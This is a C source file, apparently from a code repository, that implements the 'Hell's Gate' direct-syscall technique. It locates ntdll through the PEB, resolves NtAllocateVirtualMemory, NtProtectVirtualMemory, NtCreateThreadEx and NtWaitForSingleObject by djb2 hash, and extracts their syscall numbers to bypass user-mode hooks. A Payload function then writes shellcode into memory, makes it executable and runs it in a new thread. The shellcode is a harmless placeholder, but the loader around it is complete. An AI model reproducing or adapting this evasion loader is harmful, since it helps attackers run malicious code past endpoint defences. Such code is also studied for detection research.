211 lines
6.9 KiB
C
211 lines
6.9 KiB
C
#pragma once
|
|
#include <Windows.h>
|
|
#include "structs.h"
|
|
|
|
/*--------------------------------------------------------------------
|
|
VX Tables
|
|
--------------------------------------------------------------------*/
|
|
typedef struct _VX_TABLE_ENTRY {
|
|
PVOID pAddress;
|
|
DWORD64 dwHash;
|
|
WORD wSystemCall;
|
|
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
|
|
|
|
typedef struct _VX_TABLE {
|
|
VX_TABLE_ENTRY NtAllocateVirtualMemory;
|
|
VX_TABLE_ENTRY NtProtectVirtualMemory;
|
|
VX_TABLE_ENTRY NtCreateThreadEx;
|
|
VX_TABLE_ENTRY NtWaitForSingleObject;
|
|
} VX_TABLE, * PVX_TABLE;
|
|
|
|
/*--------------------------------------------------------------------
|
|
Function prototypes.
|
|
--------------------------------------------------------------------*/
|
|
PTEB RtlGetThreadEnvironmentBlock();
|
|
BOOL GetImageExportDirectory(
|
|
_In_ PVOID pModuleBase,
|
|
_Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory
|
|
);
|
|
BOOL GetVxTableEntry(
|
|
_In_ PVOID pModuleBase,
|
|
_In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory,
|
|
_In_ PVX_TABLE_ENTRY pVxTableEntry
|
|
);
|
|
BOOL Payload(
|
|
_In_ PVX_TABLE pVxTable
|
|
);
|
|
PVOID VxMoveMemory(
|
|
_Inout_ PVOID dest,
|
|
_In_ const PVOID src,
|
|
_In_ SIZE_T len
|
|
);
|
|
|
|
/*--------------------------------------------------------------------
|
|
External functions' prototype.
|
|
--------------------------------------------------------------------*/
|
|
extern VOID HellsGate(WORD wSystemCall);
|
|
extern HellDescent();
|
|
|
|
INT wmain() {
|
|
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
|
|
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
|
|
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
|
|
return 0x1;
|
|
|
|
// Get NTDLL module
|
|
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
|
|
|
|
// Get the EAT of NTDLL
|
|
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
|
|
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
|
|
return 0x01;
|
|
|
|
VX_TABLE Table = { 0 };
|
|
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
|
|
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
|
|
return 0x1;
|
|
|
|
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
|
|
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
|
|
return 0x1;
|
|
|
|
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
|
|
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
|
|
return 0x1;
|
|
|
|
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
|
|
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
|
|
return 0x1;
|
|
|
|
Payload(&Table);
|
|
return 0x00;
|
|
}
|
|
|
|
PTEB RtlGetThreadEnvironmentBlock() {
|
|
#if _WIN64
|
|
return (PTEB)__readgsqword(0x30);
|
|
#else
|
|
return (PTEB)__readfsdword(0x16);
|
|
#endif
|
|
}
|
|
|
|
DWORD64 djb2(PBYTE str) {
|
|
DWORD64 dwHash = 0x7734773477347734;
|
|
INT c;
|
|
|
|
while (c = *str++)
|
|
dwHash = ((dwHash << 0x5) + dwHash) + c;
|
|
|
|
return dwHash;
|
|
}
|
|
|
|
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
|
|
// Get DOS header
|
|
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
|
|
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
|
return FALSE;
|
|
}
|
|
|
|
// Get NT headers
|
|
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
|
|
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
|
return FALSE;
|
|
}
|
|
|
|
// Get the EAT
|
|
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
|
|
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
|
|
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
|
|
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
|
|
|
|
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
|
|
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
|
|
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
|
|
|
|
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
|
|
pVxTableEntry->pAddress = pFunctionAddress;
|
|
|
|
// Quick and dirty fix in case the function has been hooked
|
|
WORD cw = 0;
|
|
while (TRUE) {
|
|
// check if syscall, in this case we are too far
|
|
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
|
|
return FALSE;
|
|
|
|
// check if ret, in this case we are also probaly too far
|
|
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
|
|
return FALSE;
|
|
|
|
// First opcodes should be :
|
|
// MOV R10, RCX
|
|
// MOV RCX, <syscall>
|
|
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
|
|
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
|
|
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
|
|
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
|
|
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
|
|
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
|
|
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
|
|
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
|
|
pVxTableEntry->wSystemCall = (high << 8) | low;
|
|
break;
|
|
}
|
|
|
|
cw++;
|
|
};
|
|
}
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL Payload(PVX_TABLE pVxTable) {
|
|
NTSTATUS status = 0x00000000;
|
|
char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
|
|
|
|
// Allocate memory for the shellcode
|
|
PVOID lpAddress = NULL;
|
|
SIZE_T sDataSize = sizeof(shellcode);
|
|
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
|
|
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
|
|
|
|
// Write Memory
|
|
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
|
|
|
|
// Change page permissions
|
|
ULONG ulOldProtect = 0;
|
|
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
|
|
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
|
|
|
|
// Create thread
|
|
HANDLE hHostThread = INVALID_HANDLE_VALUE;
|
|
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
|
|
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
|
|
|
|
// Wait for 1 seconds
|
|
LARGE_INTEGER Timeout;
|
|
Timeout.QuadPart = -10000000;
|
|
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
|
|
status = HellDescent(hHostThread, FALSE, &Timeout);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
|
|
char* d = dest;
|
|
const char* s = src;
|
|
if (d < s)
|
|
while (len--)
|
|
*d++ = *s++;
|
|
else {
|
|
char* lasts = s + (len - 1);
|
|
char* lastd = d + (len - 1);
|
|
while (len--)
|
|
*lastd-- = *lasts--;
|
|
}
|
|
return dest;
|
|
} |